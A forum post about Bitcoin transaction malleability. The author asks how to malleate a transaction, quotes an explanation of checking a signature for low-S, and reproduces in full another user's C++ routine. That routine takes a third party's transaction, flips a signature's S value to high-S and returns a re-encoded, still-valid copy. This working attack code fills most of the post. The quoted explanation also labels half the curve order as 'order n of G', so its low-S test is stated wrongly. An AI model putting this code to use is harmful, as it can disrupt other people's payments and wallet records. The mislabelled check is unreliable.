Bhai Logon,
I have been hearing a lot about malleated transactions recently.
I was dumbfounded when I saw that one of my transactions
here was shown as missing, although the coins were deducted from my wallet. I found out later that a malleated transactions was confirmed.
Say you are sending coins from A to B. There could Tx hashes which could represent this, one with low S signature and another with high S signature. Both were valid and either of the two could be included in a block. But, after the implementation of
BIP 62, only low S is created by latest versions of bitcoin core.
I have been trying to read up on malleated transactions.
What I understand is
1) There are some portions of the transaction broadcast (specifically the signature portion) which can be modified without the miners rejecting the transaction
2) This is to do with the low s/high s value used in the signature
Let us say sigining is a function f(n). Assume that, in some cryptography f(n) is defined as sqrt(n). Now, f(n) returns can be either 2 or -2, when n = 4. This is malleability.
I am a bit technically challenged and would like some help / pointers on how I can malleate a transaction.
The following quote explains how you can do it in bitcoin...
How do I determine whether it is signed with highS or not ?
Step 1: find the signature in the scriptSig
In your example the format is:
To visually explore it, the ASM code or a block explorer of your choice may help. I really like this one:
http://srv1.yogh.io/#tx:id:36d047abcb966f58aa668f050d60254730a3c07c9fd51e869e8b1a773c05d516Step 2: split the signature into components
Via
bitcoin.stackexchange.comNote that the image also includes the "signature hash type", which is not part of the DER encoding, but usually shown on explorers.
Step 3: check, whether the S value is below the curve order
Compare:
7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 <- order n of G
6a5611667d1eb147d6a7352cbf37a2ddec8d9b37fcad17a0c9a9c6caff287f24 <- the S value
In this case the S value is indeed smaller than n, and therefore it's "low S".
In case, you are interested in
amaclin's code it is here...
static bool malle ( const QByteArray& d, const Transaction& tx, QByteArray& ret )
{
if ( d.size ( ) > 3000 ) // skip large txs
return false;
if ( tx.countInputs ( ) < 1 ) // paranoid check
{ return false; }
if ( tx.countOutputs ( ) < 1 ) // paranoid check
{ return false; }
for ( int i ( tx.countOutputs ( ) ); --i >= 0; )
if ( tx.isOutputP2SH ( i ) ) // i do not malle txs with p2sh outputs
return false;
const TxInput in ( tx.getInput ( ( qrand ( ) & 0xffff ) % tx.countInputs () ) ); // take random input
const QByteArray s0 ( in.getScript ( ) );
EvalScript escr ( s0 );
const QList list ( escr.evaluateInput ( ) );
if ( list.size ( ) != 2 )
{ return false; }
const MyByteArray sig ( list.at ( 0 ) ); // take signature
char buf [64];
quint8 sighash;
if ( !sig.signatureRS ( buf, &sighash ) )
{ return false; } // unable to parse
if ( sighash != SIGHASH_ALL )
{ return false; }
const MyKey32 r ( buf );
const MyKey32 s ( buf + 32 );
QByteArray der;
der.append ( (char)0x30 );
der.append ( (char)0x00 );
int len ( 0 );
der.append ( (char)0x02 ); len++;
if ( r.at ( 0 ) == 0 )
{ return false; }
if ( ( r.at ( 0 ) & 0xFF ) < 0x80 )
{
der.append ( (char)0x20 ); len++;
der.append ( r ); len += 32;
}
else
{
der.append ( (char)0x21 ); len++;
der.append ( (char)0x00 ); len++;
der.append ( r ); len += 32;
}
QByteArray xder ( der );
const MyKey32 ss ( s.mirror ( ) );
der.append ( (char)0x02 ); len++;
if ( ss.at ( 0 ) == 0 )
{ return false; }
if ( ( ss.at ( 0 ) & 0xFF ) < 0x80 )
{ return false; }
else
{
der.append ( (char)0x21 ); len++;
der.append ( (char)0x00 ); len++;
der.append ( ss ); len += 32;
}
der.data ( ) [1] = len;
der.append ( (char)1 ); // SIGHASH_ALL
xder.append ( (char)0x02 );
if ( s.at ( 0 ) == 0 )
{ return false; }
if ( ( s.at ( 0 ) & 0xFF ) < 0x80 )
{
xder.append ( (char)0x20 );
xder.append ( s );
}
else
{ return false; }
xder.data ( ) [1] = len - 1;
xder.append ( (char)1 ); // SIGHASH_ALL
const int zsz ( strlen ( xder.toHex ( ).constData ( ) ) / 2 );
xder.prepend ( (char)zsz );
const int zsz1 ( der.size ( ) );
der.prepend ( (char)zsz1 );
QString str ( d.toHex ( ) );
if ( str.indexOf ( xder.toHex ( ).constData ( ) ) <= 0 )
{ return false; }
const int pos ( str.indexOf ( xder.toHex ( ).constData ( ) ) / 2 );
const int slen ( d.at ( pos - 1 ) );
xder.prepend ( (char)slen );
der.prepend ( (char) (slen + 1) );
if ( str.indexOf ( xder.toHex ( ).constData ( ) ) <= 0 )
{ return false; }
str.replace ( xder.toHex ( ).constData ( ), der.toHex ( ).constData ( ) ); // malle tx!
ret = QByteArray::fromHex ( str.toLatin1 ( ) );
return true;
}
Source:
https://www.reddit.com/r/Buttcoin/comments/3okxo5/does_amaclin_need_some_btc_to_wreck_havoc/cvyfy53